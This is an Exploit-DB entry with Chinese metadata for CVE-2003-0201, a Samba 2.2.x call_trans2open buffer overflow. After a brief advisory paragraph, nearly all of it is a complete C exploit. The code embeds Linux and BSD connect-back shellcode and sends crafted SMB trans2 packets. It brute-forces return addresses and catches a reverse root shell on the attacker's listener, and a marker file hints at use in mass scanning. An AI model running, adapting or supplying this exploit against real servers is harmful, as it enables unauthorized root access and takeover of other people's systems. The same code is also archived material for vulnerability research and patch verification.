标题: Samba 2.2.x - 'call_trans2open' Remote Buffer Overflow (3) EDB-ID: 22470 CVE: 2003-0201 类型: REMOTE 平台: UNIX 发布日期: 2003-05-12 漏洞利用脚本: // source: https://www.securityfocus.com/bid/7294/info
  
A buffer overflow vulnerability has been reported for Samba. The problem occurs when copying user-supplied data into a static buffer. By passing excessive data to an affected Samba server, it may be possible for an anonymous user to corrupt sensitive locations in memory.
  
Successful exploitation of this issue could allow an attacker to execute arbitrary commands, with the privileges of the Samba process.
  
It should be noted that this vulnerability affects Samba 2.2.8 and earlier. Samba-TNG 0.3.1 and earlier are also affected. 

/*
 *  Samba Remote Root Exploit by Schizoprenic from Xnuxer-Labs, 2003.
 *  Using connect back method and brute force mode.
 *  I just create & modify some code and ripped too :P 
 *  Create on May, 12st 2003
 *
 *  Thanks to eDSee (netric.org), Sambal is nice exploit bro...
 *  References: trans2root.pl, 0x333hate.c, sambal.c
 *  This code just for eduction purpose 
 *
 *  XNUXER RESEARCH LABORATORY
 *  Official Site: http://infosekuriti.com
 *  Contact Email: xnuxer@yahoo.com, xnuxer@hackermail.com
 */

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <netdb.h>
#include <errno.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <unistd.h>
#include <sys/stat.h>
#include <sys/select.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/wait.h>
#include <netinet/in.h>
#include <arpa/inet.h>

char
linux_connect_back[] =
    /* fork(), execve sh -c [client] [host to bounce to], term=xterm */
    "\x31\xc0\x31\xff\xb0\x02\xcd\x80\x39\xc7\x74\x7e\x31\xc0\x50"
    "\x68\x20\x20\x20\x20\x68\x20\x20\x20\x20\x68\x20\x20\x20\x20"
    "\x68\x20\x20\x20\x20\x68\x20\x20\x20\x20\x68\x20\x20\x20\x20"
    "\x68\x20\x20\x20\x20\x68\x20\x20\x20\x20\x68\x20\x20\x20\x20"
    "\x68\x20\x20\x20\x20\x68\x20\x20\x20\x20\x89\xe1\x50\x66\x68"
    "\x2d\x63\x89\xe3\x50\x66\x68\x73\x68\x89\xe0\x57\x51\x53\x50"
    "\x89\xe1\x31\xc0\x50\x66\x68\x72\x6d\x68\x3d\x78\x74\x65\x68"
    "\x54\x45\x52\x4d\x89\xe2\x50\x52\x89\xe2\x57\x68\x6e\x2f\x73"
    "\x68\x68\x2f\x2f\x62\x69\x89\xe3\xb0\x0b\xcd\x80\x31\xc0\xb0"
    "\x01\xcd\x80"

    /* connect back shellcode (port=0xb0ef) */
    "\x31\xc0\x31\xdb\x31\xc9\x51\xb1\x06\x51\xb1\x01\x51\xb1\x02\x51"
    "\x89\xe1\xb3\x01\xb0\x66\xcd\x80\x89\xc2\x31\xc0\x31\xc9\x51\x51"
    "\x68\x41\x42\x43\x44\x66\x68\xb0\xef\xb1\x02\x66\x51\x89\xe7\xb3"
    "\x10\x53\x57\x52\x89\xe1\xb3\x03\xb0\x66\xcd\x80\x31\xc9\x39\xc1"
    "\x74\x06\x31\xc0\xb0\x01\xcd\x80\x31\xc0\xb0\x3f\x89\xd3\xcd\x80"
    "\x31\xc0\xb0\x3f\x89\xd3\xb1\x01\xcd\x80\x31\xc0\xb0\x3f\x89\xd3"
    "\xb1\x02\xcd\x80\x31\xc0\x31\xd2\x50\x68\x6e\x2f\x73\x68\x68\x2f"
    "\x2f\x62\x69\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80\x31\xc0\xb0"
    "\x01\xcd\x80";

char
bsd_connect_back[] =
    /* fork(), execve sh -c [client] [host to bounce to], term=xterm */
    "\x31\xc0\x31\xff\xb0\x02\xcd\x80\x39\xc7\x74\x7e\x31\xc0\x50"
    "\x68\x20\x20\x20\x20\x68\x20\x20\x20\x20\x68\x20\x20\x20\x20"
    "\x68\x20\x20\x20\x20\x68\x20\x20\x20\x20\x68\x20\x20\x20\x20"
    "\x68\x20\x20\x20\x20\x68\x20\x20\x20\x20\x68\x20\x20\x20\x20"
    "\x68\x20\x20\x20\x20\x89\xe1\x50\x66\x68\x2d\x63\x89\xe3\x50"
    "\x66\x68\x73\x68\x89\xe0\x57\x51\x53\x50\x89\xe1\x31\xc0\x50"
    "\x66\x68\x72\x6d\x68\x3d\x78\x74\x65\x68\x54\x45\x52\x4d\x89"
    "\xe2\x50\x52\x89\xe2\x57\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62"
    "\x69\x89\xe3\x50\x52\x51\x53\x50\xb0\x3b\xcd\x80\x31\xc0\xb0"
    "\x01\xcd\x80"

    /* connect back shellcode (port=0xb0ef) */
    "\x31\xc0\x31\xdb\x53\xb3\x06\x53\xb3\x01\x53\xb3\x02\x53\x54\xb0"
    "\x61\xcd\x80\x31\xd2\x52\x52\x68\x41\x41\x41\x41\x66\x68\xb0\xef"
    "\xb7\x02\x66\x53\x89\xe1\xb2\x10\x52\x51\x50\x52\x89\xc2\x31\xc0"
    "\xb0\x62\xcd\x80\x31\xdb\x39\xc3\x74\x06\x31\xc0\xb0\x01\xcd\x80"
    "\x31\xc0\x50\x52\x50\xb0\x5a\xcd\x80\x31\xc0\x31\xdb\x43\x53\x52"
    "\x50\xb0\x5a\xcd\x80\x31\xc0\x43\x53\x52\x50\xb0\x5a\xcd\x80\x31"
    "\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x54"
    "\x53\x50\xb0\x3b\xcd\x80\x31\xc0\xb0\x01\xcd\x80";

typedef struct {
 unsigned char type;
 unsigned char flags;
 unsigned short length;
} NETBIOS_HEADER;

typedef struct {
 unsigned char protocol[4];
 unsigned char command;
 unsigned short status;
 unsigned char reserved;
 unsigned char  flags;
 unsigned short flags2;
 unsigned char  pad[12];
 unsigned short tid;
 unsigned short pid;
 unsigned short uid;
 unsigned short mid;
} SMB_HEADER;

pid_t childs[50];
int LOOP = 1;
struct sockaddr_in serv_addr;
int sock_listen, client;
int exploit_pid;
int listen_pid;
int port_listen = 45295;

void 
usage(char *prog) 
{
int i;

   fprintf(stdout, "Samba < 2.2.8 Remote Root exploit by Schizoprenic\n"
                   "Connect back method, Xnuxer-Labs, 2003.\n"
                   "Usage  : %s <type> <victim> <your_ip>\n"
                   "Targets:\n"
                   "         0 = Linux\n"
                   "         1 = FreeBSD/NetBSD\n"
                   "         2 = OpenBSD 3.0 and prior\n"
                   "         3 = OpenBSD 3.2 - non-exec stack\n\n", prog);      
   exit(1);
}

int 
Connect(int fd, char *ip, unsigned int port, unsigned int time_out) 
{
 /* ripped from no1 */

 int                      flags;
 int                      select_status;
 fd_set                   connect_read, connect_write;
 struct timeval           timeout;
 int                      getsockopt_length = 0;
 int                      getsockopt_error = 0;
 struct sockaddr_in       server;
 bzero(&server, sizeof(server));
 server.sin_family = AF_INET;
 inet_pton(AF_INET, ip, &server.sin_addr);
 server.sin_port = htons(port);

 if((flags = fcntl(fd, F_GETFL, 0)) < 0) {
  close(fd);
      return -1;
   }
  
 if(fcntl(fd, F_SETFL, flags | O_NONBLOCK) < 0) {
  close(fd);
      return -1;
   }
   
 timeout.tv_sec = time_out;
 timeout.tv_usec = 0;
 FD_ZERO(&connect_read);
 FD_ZERO(&connect_write);
 FD_SET(fd, &connect_read);
 FD_SET(fd, &connect_write);

 if((connect(fd, (struct sockaddr *) &server, sizeof(server))) < 0) {
  if(errno != EINPROGRESS) {
         close(fd);
         return -1;
      }
   }
 else {
  if(fcntl(fd, F_SETFL, flags) < 0) {
   close(fd);
         return -1;
      }
      
  return 1;

 }

 select_status = select(fd + 1, &connect_read, &connect_write, NULL, &timeout);

 if(select_status == 0) {
  close(fd);
  return -1;

 }

 if(select_status == -1) {
  close(fd);
  return -1;
 }

 if(FD_ISSET(fd, &connect_read) || FD_ISSET(fd, &connect_write)) {
  if(FD_ISSET(fd, &connect_read) && FD_ISSET(fd, &connect_write)) {
   getsockopt_length = sizeof(getsockopt_error);

   if(getsockopt(fd, SOL_SOCKET, SO_ERROR, &getsockopt_error, &getsockopt_length) < 0) {
    errno = ETIMEDOUT;
    close(fd);
    return -1;
   }

   if(getsockopt_error == 0) {
    if(fcntl(fd, F_SETFL, flags) < 0) {
     close(fd);
     return -1;
    }
    return 1;
          } 

   else {
    errno = getsockopt_error;
    close(fd);
    return (-1);
    }

   }
  }
 else {
  close(fd);
  return 1;
 }

 if(fcntl(fd, F_SETFL, flags) < 0) {
  close(fd);
  return -1;
 }
 return 1;
}

int 
read_timer(int fd, unsigned int time_out)
{

 /* ripped from no1 */

 int                      flags;
 int                      select_status;
 fd_set                   fdread;
 struct timeval           timeout;

 if((flags = fcntl(fd, F_GETFL, 0)) < 0) {
  close(fd);
  return (-1);
 }

 if(fcntl(fd, F_SETFL, flags | O_NONBLOCK) < 0) {
  close(fd);
  return (-1);
 }

 timeout.tv_sec = time_out;
 timeout.tv_usec = 0;
 FD_ZERO(&fdread);
 FD_SET(fd, &fdread);
 select_status = select(fd + 1, &fdread, NULL, NULL, &timeout);

 if(select_status == 0) {
  close(fd);
  return (-1);
 }

 if(select_status == -1) {
  close(fd);
  return (-1);
 }
  
 if(FD_ISSET(fd, &fdread)) {
  
    if(fcntl(fd, F_SETFL, flags) < 0) {
   close(fd);
         return -1;
      }
      
  return 1;
 
 } 
 else {
  close(fd);
  return 1;

 }
}

int
write_timer(int fd, unsigned int time_out)
{

 /* ripped from no1 */

 int                      flags;
 int                      select_status;
 fd_set                   fdwrite;
 struct timeval           timeout;

 if((flags = fcntl(fd, F_GETFL, 0)) < 0) {    
  close(fd);
  return (-1);
 }
 
 if(fcntl(fd, F_SETFL, flags | O_NONBLOCK) < 0) {
  close(fd);
  return (-1);
   }
   
 timeout.tv_sec = time_out;
 timeout.tv_usec = 0;
 FD_ZERO(&fdwrite);
 FD_SET(fd, &fdwrite);

 select_status = select(fd + 1, NULL, &fdwrite, NULL, &timeout);

 if(select_status == 0) {
  close(fd);
  return -1;
 }
 
 if(select_status == -1) {
  close(fd);
  return -1;
 }

 if(FD_ISSET(fd, &fdwrite)) {
  if(fcntl(fd, F_SETFL, flags) < 0) {
   close(fd);
   return -1;
  }
  return 1;
 }
 else { 
  close(fd);
  return -1;
 }
}

int 
start_session(int sock)
{
 char buffer[1000];
 char response[4096];
 char session_data1[]  = "\x00\xff\x00\x00\x00\x00\x20\x02\x00\x01\x00\x00\x00\x00";
        char session_data2[]  = "\x00\x00\x00\x00\x5c\x5c\x69\x70\x63\x24\x25\x6e\x6f\x62\x6f\x64\x79"
                    "\x00\x00\x00\x00\x00\x00\x00\x49\x50\x43\x24";
 
        NETBIOS_HEADER  *netbiosheader;
        SMB_HEADER      *smbheader;

 memset(buffer, 0x00, sizeof(buffer));

        netbiosheader   = (NETBIOS_HEADER *)buffer;
        smbheader       = (SMB_HEADER *)(buffer + sizeof(NETBIOS_HEADER));

        netbiosheader->type  = 0x00;         /* session message */
        netbiosheader->flags  = 0x00;
        netbiosheader->length  = htons(0x2E);

        smbheader->protocol[0]  = 0xFF;
        smbheader->protocol[1]  = 'S';
        smbheader->protocol[2]  = 'M';
        smbheader->protocol[3]  = 'B';
        smbheader->command  = 0x73;         /* session setup */
        smbheader->flags  = 0x08;         /* caseless pathnames */
        smbheader->flags2  = 0x01;         /* long filenames supported */
        smbheader->pid   = getpid() & 0xFFFF;
 smbheader->uid          = 100;
        smbheader->mid   = 0x01;

        memcpy(buffer + sizeof(NETBIOS_HEADER) + sizeof(SMB_HEADER), session_data1, sizeof(session_data1) - 1);

 if(write_timer(sock, 3) == 1)
  if (send(sock, buffer, 50, 0) < 0) return -1;

 memset(response, 0x00, sizeof(response));

 if (read_timer(sock, 3) == 1)
  if (read(sock, response, sizeof(response) - 1) < 0) return -1;
 
        netbiosheader = (NETBIOS_HEADER *)response;
        smbheader     = (SMB_HEADER *)(response + sizeof(NETBIOS_HEADER));

 //if (netbiosheader->type != 0x00) fprintf(stderr, "+ Recieved a non session message\n");

        netbiosheader   = (NETBIOS_HEADER *)buffer;
        smbheader       = (SMB_HEADER *)(buffer + sizeof(NETBIOS_HEADER));

        memset(buffer, 0x00, sizeof(buffer));

        netbiosheader->type     = 0x00;         /* session message */
        netbiosheader->flags    = 0x00;
        netbiosheader->length   = htons(0x3C);

        smbheader->protocol[0]  = 0xFF;
        smbheader->protocol[1]  = 'S';
        smbheader->protocol[2]  = 'M';
        smbheader->protocol[3]  = 'B';
        smbheader->command      = 0x70;         /* start connection */
 smbheader->pid          = getpid() & 0xFFFF;
 smbheader->tid  = 0x00;
        smbheader->uid          = 100;

 memcpy(buffer + sizeof(NETBIOS_HEADER) + sizeof(SMB_HEADER), session_data2, sizeof(session_data2) - 1);

        if(write_timer(sock, 3) == 1)
                if (send(sock, buffer, 64, 0) < 0) return -1;

        memset(response, 0x00, sizeof(response));

        if (read_timer(sock, 3) == 1)
                if (read(sock, response, sizeof(response) - 1) < 0) return -1;

        netbiosheader = (NETBIOS_HEADER *)response;
        smbheader     = (SMB_HEADER *)(response + sizeof(NETBIOS_HEADER));

        if (netbiosheader->type != 0x00) return -1;

        return 0;
}

int
exploit_normal(int sock, unsigned long ret, char *shellcode)
{

 char buffer[4000];
        char exploit_data[] =
                "\x00\xd0\x07\x0c\x00\xd0\x07\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
                "\x00\xd0\x07\x43\x00\x0c\x00\x14\x08\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00" 
  "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
                "\x00\x00\x00\x90";

 int i = 0;
 unsigned long dummy = ret - 0x90;

        NETBIOS_HEADER  *netbiosheader;
        SMB_HEADER      *smbheader;

 memset(buffer, 0x00, sizeof(buffer));

        netbiosheader   = (NETBIOS_HEADER *)buffer;
        smbheader       = (SMB_HEADER *)(buffer + sizeof(NETBIOS_HEADER));

        netbiosheader->type             = 0x00;         /* session message */
        netbiosheader->flags            = 0x04;
        netbiosheader->length           = htons(2096);

        smbheader->protocol[0]          = 0xFF;
        smbheader->protocol[1]          = 'S';
        smbheader->protocol[2]          = 'M';
        smbheader->protocol[3]          = 'B';
        smbheader->command              = 0x32;         /* SMBtrans2 */
 smbheader->tid   = 0x01;
        smbheader->uid                  = 100;

 memset(buffer + sizeof(NETBIOS_HEADER) + sizeof(SMB_HEADER) + sizeof(exploit_data), 0x90, 3000);

 buffer[1096] = 0xEB;
 buffer[1097] = 0x70;

 for (i = 0; i < 4 * 24; i += 8) {
  memcpy(buffer + 1099 + i, &dummy, 4);
  memcpy(buffer + 1103 + i, &ret,   4);
 }

        memcpy(buffer + sizeof(NETBIOS_HEADER) + sizeof(SMB_HEADER), 
   exploit_data, sizeof(exploit_data) - 1);
 memcpy(buffer + 1800, shellcode, strlen(shellcode));

 if(write_timer(sock, 3) == 1) {
  if (send(sock, buffer, sizeof(buffer) - 1, 0) < 0) return -1;
  return 0;
 }

 return -1;
}

int
exploit_openbsd32(int sock, unsigned long ret, char *shellcode)
{
        char buffer[4000];

        char exploit_data[] =
                "\x00\xd0\x07\x0c\x00\xd0\x07\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
                "\x00\xd0\x07\x43\x00\x0c\x00\x14\x08\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00"
                "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
                "\x00\x00\x00\x90";

        int i = 0;
        unsigned long dummy = ret - 0x30;
        NETBIOS_HEADER  *netbiosheader;
        SMB_HEADER      *smbheader;

        memset(buffer, 0x00, sizeof(buffer));

        netbiosheader   = (NETBIOS_HEADER *)buffer;
        smbheader       = (SMB_HEADER *)(buffer + sizeof(NETBIOS_HEADER));

        netbiosheader->type             = 0x00;         /* session message */
        netbiosheader->flags            = 0x04;
        netbiosheader->length           = htons(2096);

        smbheader->protocol[0]          = 0xFF;
        smbheader->protocol[1]          = 'S';
        smbheader->protocol[2]          = 'M';
        smbheader->protocol[3]          = 'B';
        smbheader->command              = 0x32;         /* SMBtrans2 */
        smbheader->tid                  = 0x01;
        smbheader->uid                  = 100;

        memset(buffer + sizeof(NETBIOS_HEADER) + sizeof(SMB_HEADER) + sizeof(exploit_data), 0x90, 3000);

 for (i = 0; i < 4 * 24; i += 4)
  memcpy(buffer + 1131 + i, &dummy, 4);
  
        memcpy(buffer + 1127, &ret,      4);

        memcpy(buffer + sizeof(NETBIOS_HEADER) + sizeof(SMB_HEADER),
                        exploit_data, sizeof(exploit_data) - 1);

        memcpy(buffer + 1100 - strlen(shellcode), shellcode, strlen(shellcode));

        if(write_timer(sock, 3) == 1) {
                if (send(sock, buffer, sizeof(buffer) - 1, 0) < 0) return -1;
                return 0;
        }

        return -1;
}


void shell(int sock)
{
 fd_set  fd_read;
 char buff[1024], *cmd="uname -a;id;\n";
 int n;

 send(sock, cmd, strlen(cmd), 0);

 while(1) {
  FD_SET(sock,&fd_read);
  FD_SET(0,&fd_read);

  if(select(sock+1,&fd_read,NULL,NULL,NULL)<0) break;

  if( FD_ISSET(sock, &fd_read) ) {
   n=read(sock,buff,sizeof(buff));
   if (n == 0) {
       printf ("Connection closed.\n");
       exit(EXIT_FAILURE);
   } else if (n < 0) {
       perror("read remote");
       exit(EXIT_FAILURE);
   }
   write(1,buff,n);
  }

  if ( FD_ISSET(0, &fd_read) ) {
    if((n=read(0,buff,sizeof(buff)))<=0){
      perror ("read user");
      exit(EXIT_FAILURE);
    }
    write(sock,buff,n);
  }
 }
 close(sock); 
}

void GoAway() 
{
   exit(0);
}

void start_listen()
{
FILE *fstat;
int cpid;
   
LISTENER:

  bzero(&serv_addr, sizeof(serv_addr));
  serv_addr.sin_family=2;
  serv_addr.sin_addr.s_addr=0;
  serv_addr.sin_port=htons(port_listen); 
  sock_listen=socket(2,1,6);

  if(bind(sock_listen,(struct sockaddr *)&serv_addr,16)) 
  {   
      port_listen++;
      goto LISTENER;       
  }
   
  if(listen(sock_listen,1)) 
  {
      perror("listen");
      exit(1);
  }
   
  fprintf(stdout, "[+] Listen on port: %d\n",port_listen);
   
  cpid = fork();
 
  if (cpid) {
     client=accept(sock_listen,0,0);
     LOOP = 0;
     kill(SIGUSR2, exploit_pid);
     if (client > 0) {
        fprintf(stdout, "[+] Yeah, I have a root ....!\n"
                      "------------------------------\n");
        fstat=fopen(".ROOT", "a");  //needed by mass.c
        fclose(fstat);
        shell(client);
     }
     exit(0);
  }
}

int
main (int argc,char *argv[])
{
   char *shellcode = NULL;
   int typeos = -1;
   int port  = 139;
   int sock  = 0;
   int i  = 0;
   int status = 0;
   int m  = 0;
   int ip1  = 0;
   int ip2  = 0;
   int ip3  = 0;
   int ip4  = 0;
   int sta  = 0;
   int STEPS = 512;
   int ENDLOOP    = 64;
   char *desc; 
   unsigned long MAX_CHILDS  = 40;
   unsigned long ret         = 0x0;
   unsigned short int  a_port;
   struct sockaddr_in addr1;
   struct hostent *he;
   struct stat st;
   
      if (argc != 4) usage(argv[0]);
   
      typeos = atoi(argv[1]);
      if (typeos > 3) {
          fprintf(stdout, "Os type out of list!\n");
          exit(1);
      }

      he = gethostbyname(argv[2]);

      if (he == NULL) {
          fprintf(stderr, "Unable to resolve\n");
          return -1;
      }

      listen_pid = getpid();
      start_listen();
      exploit_pid = listen_pid + 1;

      //fprintf(stdout, "[+] Listen pid: %d, exploit pid: %d\n", listen_pid,exploit_pid);

      sscanf(argv[3], "%d.%d.%d.%d", &ip1, &ip2, &ip3, &ip4);  
      linux_connect_back[171] = ip1; bsd_connect_back[162] = ip1;
      linux_connect_back[172] = ip2; bsd_connect_back[163] = ip2;
      linux_connect_back[173] = ip3; bsd_connect_back[164] = ip3;
      linux_connect_back[174] = ip4; bsd_connect_back[165] = ip4;
    
      fprintf(stdout, "[+] Connecting back to: [%d.%d.%d.%d:%d]\n", 
     ip1, ip2, ip3, ip4, port_listen);

      a_port = htons(port_listen);
      
      linux_connect_back[177]= (a_port) & 0xff;
      linux_connect_back[178]= (a_port >> 8) & 0xff;
      bsd_connect_back[168]= (a_port) & 0xff;
      bsd_connect_back[169]= (a_port >> 8) & 0xff;

      switch(typeos) {
      case 0:
              desc = "Linux";
              ret = 0xc0000000;
              shellcode = linux_connect_back;
              break;
      case 1:
              desc = "FreeBSD/NetBSD";
              ret = 0xbfc00000;
              shellcode = bsd_connect_back;
              break;
      case 2:
              desc = "OpenBSD 3.1 and prior";
              ret = 0xdfc00000;
              shellcode = bsd_connect_back;
              break;
      case 3:
              desc = "OpenBSD 3.2 non-exec stack";
              ret = 0x00170000;
              shellcode = bsd_connect_back;
              break;
      }

      fprintf(stdout, "[+] Target: %s\n", desc);
      memcpy(&addr1.sin_addr, he->h_addr, he->h_length);

      addr1.sin_family = AF_INET;
      addr1.sin_port  = htons(port); 

      fprintf(stdout, "[+] Connected to [%s:%d]\n", (char *)inet_ntoa(addr1.sin_addr), port);
      fprintf(stdout, "[+] Please wait in seconds...!\n");

      signal(SIGUSR2, GoAway);
   
      for (i = 0; i < 50; i++) childs[i] = -1;
      i = 0; m = 0;

      while (LOOP) {

           if ((sock = socket(AF_INET, SOCK_STREAM, 6)) < 0) {
              fprintf(stderr, "[+] socket() error.\n");
              exit(-1);
           }

           ret -= STEPS; i++;
           if ((ret & 0xff) == 0x00 && typeos != 3) ret++;             

           m++; 
           //fflush(0);
           //fprintf(stdout, "[+] Return Address: 0x%08x [%02d]\n", (unsigned int)ret, m);

           usleep(150000);

           switch (childs[i] = fork()) {
           case 0:  
                  if (connect(sock, (struct sockaddr *)&addr1, sizeof(addr1)) == -1) { 
                      //fprintf(stderr, "[+] connect() error.\n");
                      close(sock);
                      exit(-1);
                  }
   
                 start_session(sock);
                 sleep(3);
                  
                 if (typeos != 3) {
                           if (exploit_normal(sock, ret, shellcode) < 0) {
                              //fprintf(stderr, " -> Failed.\n");
                              close(sock);
                              exit(-1);
                           }
                 } else {
                           if (exploit_openbsd32(sock, ret, shellcode) < 0) {
                              //fprintf(stderr, " -> Failed.\n");
                              close(sock);
                              exit(-1);
                           }
                  }
                  sleep(5);
                  close(sock);
                  exit(0);
                  break;
           case -1:
                  exit(-1);
                  break;
           default:
                  if (i > MAX_CHILDS - 2) {
                      wait(&status);
                      i--;
                  }
                  break;
           } 

           if (m == ENDLOOP) LOOP = 0;
      }     

      if (stat(".ROOT", &st) != -1) 
         kill(SIGUSR2, listen_pid);
      else { 
           fprintf(stdout, "[+] Dohh, exploit failed.\n");
    close(client); close(sock_listen);
           kill(listen_pid, SIGUSR2);
    sleep(2);
    exit(0);
      }
} URL: https://www.exploit-db.com/exploits/22470